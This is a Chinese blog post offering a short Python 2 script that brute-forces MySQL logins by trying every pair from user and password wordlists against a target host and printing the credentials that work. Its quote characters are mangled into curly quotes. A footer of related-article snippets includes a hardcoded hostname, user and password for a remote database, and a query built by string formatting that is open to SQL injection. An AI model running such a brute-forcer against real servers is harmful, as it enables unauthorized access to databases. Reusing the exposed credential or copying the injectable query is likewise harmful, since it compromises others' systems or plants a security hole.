Python mysql 爆破

缺点:

不支持网段

单线程

# -*- coding: utf_8 -*-
# Date: 2015/5/13
# author:sanr
import MySQLdb
import os
import sys
def README():
    print ‘+‘ + ‘-‘ * 50 + ‘+‘
    print ‘\t           Python MySQL爆破‘
    print ‘\t            author : sanr‘
    print ‘\t           Time:2015-5-13‘
    print ‘\t   mysql默认字典在程序目录mysql目录‘
    print ‘+‘ + ‘-‘ * 50 + ‘+‘
    if len(sys.argv) != 5:
        print  os.path.basename(sys.argv[0]) + "   127.0.0.1   3306  user.txt  pass.txt"
        sys.exit()

def    mysql_brute(name,pwd):
   db = None
   try:
      db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db=‘mysql‘,port=int(sys.argv[2]))
      print ‘破解成功: %s %s‘% (name,pwd)
   except:
      pass
   finally    :
      if db:
         db.close()
if __name__ == ‘__main__‘:
   README()
   userlist = [i.rstrip() for i in open(‘mysql/‘+sys.argv[3])]
   passlist = [j.rstrip() for j in open(‘mysql/‘+sys.argv[4])]
   for    name in userlist:
      for pwd in passlist:
         mysql_brute(name,pwd)
时间: 2024-11-11 19:55:11

Python mysql 爆破的相关文章

python mysql模块

#!/usr/bin/python import MySQLdb def new_mail_mysql(ak): print ak conn=MySQLdb.connect(host='m3306.sae.sina.com.cn',user='sae_ol',passwd='7b149edb22ae7526',db='sae',port=3306) cur=conn.cursor() sql="select name from app where accesskey='%s'"%ak

Python/MySQL(三、pymysql使用)

Python/MySQL(三.pymysql使用) 所谓pymysql就是通过pycharm导入pymysql模块进行远程连接mysql服务端进行数据管理操作. 一.在pycharm中导入pymysql模块: 最后进行搜索和导入 二.通过pycharm语句连接MySQ服务端(MySQL服务端必须先启动) 1 import pymysql 2 导入pymysql 3 conn=pymysql.connect(host='localhost',user='root',password='guobao

python+ mysql存储二进制流的方式

很多时候我们为了管理方便会把依稀很小的图片存入数据库,有人可能会想这样会不会对数据库造成很大的压力,其实大家可以不用担心,因为我说过了,是存储一些很小的图片,几K的,没有问题的! 再者,在这里我们是想讲一种方法,python+ mysql存储二进制流的方式 这里用的是Mysqldb,python里面最常用的数据库模块 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

Python/MySQL表操作以及连接

Python/MySQL表操作以及连接 mysql表操作: 主键:一个表只能有一个主键.主键可以由多列组成. mysql> create table yuan(id int auto_increment,yuangongname int,bumen_id int, primary key(id,yuangongname))engine=innodb default charset=utf8; Query OK, 0 rows affected (0.43 sec) 外键 :可以进行联合外键,操作

Python+Mysql生成zabbix统计数据

先大概了解一下zabbix数据库结构: 1.groups表 可以根据组名查到组ID 2.找到组ID就可以根据组ID找出这个组下面的所有服务器的ID,这个关系在hosts_groups表里面: 3.有了hostid就可以在hosts表里查看这台机器的基本信息了: items表则可以根据hostid查出这台服务器的所有监控项: 4.终于在items表查到itemid,利用这个itemid在trends和trends_uint这两个表中统计出我们需要的数据 我python水平挺菜的,很多面向对象的功能

Python&MySQL操作过程中遇到的编码问题

对于Python字符编码的理解 之前整理了一部分,这次主要是设计到数据库操作的. 下面是一些编码方面的概念和原理,以条目方式整理: CREATE DATABASE IF NOT EXISTS db_name DEFAULT CHARSET utf8 COLLATE utf8_general_ci; DEFAULT CHARSET是设置默认字符编码集,也就是数据在库内从存储编码,我的理解是在存储这个层面上的,如果SQL命令是以gbk方式传输数据的(cur.execute('SET NAMES ut

在mac OS X中配置python mysql开发环境

1. 首先要下载安装mysql,下载地址: http://cdn.mysql.com/Downloads/MySQL-5.6/mysql-5.6.19.tar.gz 解压: tar -xzvf mysql-5.6.19.tar.gz 然后下载gmock,编译mysql时需要用到: https://googlemock.googlecode.com/files/gmock-1.7.0.zip 解压到指定目录 <span style="font-size:14px;">unzi

第一节、Alex 讲解 python+mysql 交互;

Python Mysql 交互 A.Alex 的语法展示: import MySQLdb  try: conn=MySQL.connect(host='localhost',user='root',passwod='123qwe',db='test-DB',port='3306') cur =conn.cursor() cur.execute('select * from user_info') cur.close() conn.close() except MySQLdb.Errot,e: p

Python&mdash;&gt;Mysql&mdash;&gt;Dbvisualizer

1.Download Connector/Python:mysql-connector-python-2.1.3-py2.7-win32 Mysql:mysql-installer-community-5.5.48.0 Python:python-2.7.10 2.安装好Python,Mysql Connector/Python:  http://dev.mysql.com/doc/connector-python/en/connector-python-installation.html Py